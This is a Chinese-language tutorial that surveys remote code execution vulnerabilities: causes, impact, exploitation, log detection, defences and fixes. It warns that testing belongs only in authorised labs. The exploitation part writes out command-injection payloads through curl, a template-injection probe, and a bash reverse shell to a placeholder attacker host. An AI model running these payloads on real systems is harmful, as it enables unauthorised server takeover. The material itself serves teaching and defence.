RCE 大类实战:命令执行、代码执行、反序列化与框架漏洞等入口,原理、影响、利用、检测、防御与修复。
写在前面:合法学习边界
RCE 测试只允许在自建靶场或授权环境进行。对真实系统执行命令、反弹 Shell 可能触犯法律。
一、漏洞原理
RCE(远程代码/命令执行)是一个大类,凡是“服务器执行了攻击者控制的内容”都属于它。
常见入口:
1
2
3
4
5
| 命令执行:拼接系统命令(ping、eval、模板)
代码执行:eval、动态函数、模板注入
反序列化:加载恶意对象
框架漏洞:Struts2、ThinkPHP、Fastjson、Log4j
组件漏洞:上传 WebShell 后执行
|
共同本质:不可信输入进入了可执行路径。
二、影响与危害
1
2
3
| 完全控制服务器
读取/篡改数据、植入后门
内网横向移动
|
风险等级:严重,几乎是渗透的最终目标之一。
三、利用 / 复现
命令执行
1
2
3
| # 参数拼接命令
curl "http://目标/ping?ip=127.0.0.1;id"
curl "http://目标/ping?ip=127.0.0.1 && whoami"
|
代码执行
1
2
3
| 模板注入(SSTI):{{7*7}} 验证
eval 型接口传代码
动态函数名参数
|
验证与反弹
1
2
3
4
| # 先验证,再反弹
curl "http://目标/?cmd=id"
# 反弹 Shell
bash -i >& /dev/tcp/攻击机/4444 0>&1
|
配合 nc 监听:
四、检测
1
2
3
4
| 日志中找 ;、|、&&、`、${} 等命令分隔符
SSTI 特征 {{、${、#{ 等模板标记
对 RCE 类组件(Fastjson/Log4j/Struts2)做指纹
异常子进程与出站连接
|
五、防御
1
2
3
4
5
| 参数化调用,不拼 shell 字符串
禁用危险函数/动态执行
过滤命令分隔符与模板标记
输入白名单与最小权限
WAF 拦截命令执行特征
|
六、修复
1
2
3
4
| 代码层:改用安全 API、删 eval/危险函数
组件层:升级框架与依赖(Struts2/Fastjson/Log4j 等)
系统层:最小权限、补丁、网络隔离
修复后复测:命令与模板 payload 均不再执行
|
七、小结
RCE 是很多攻击链的“终点”。它入口很多(命令、代码、反序列化、组件),但本质一致——让服务器执行攻击者可控的东西。防御要代码、组件、系统三层一起做。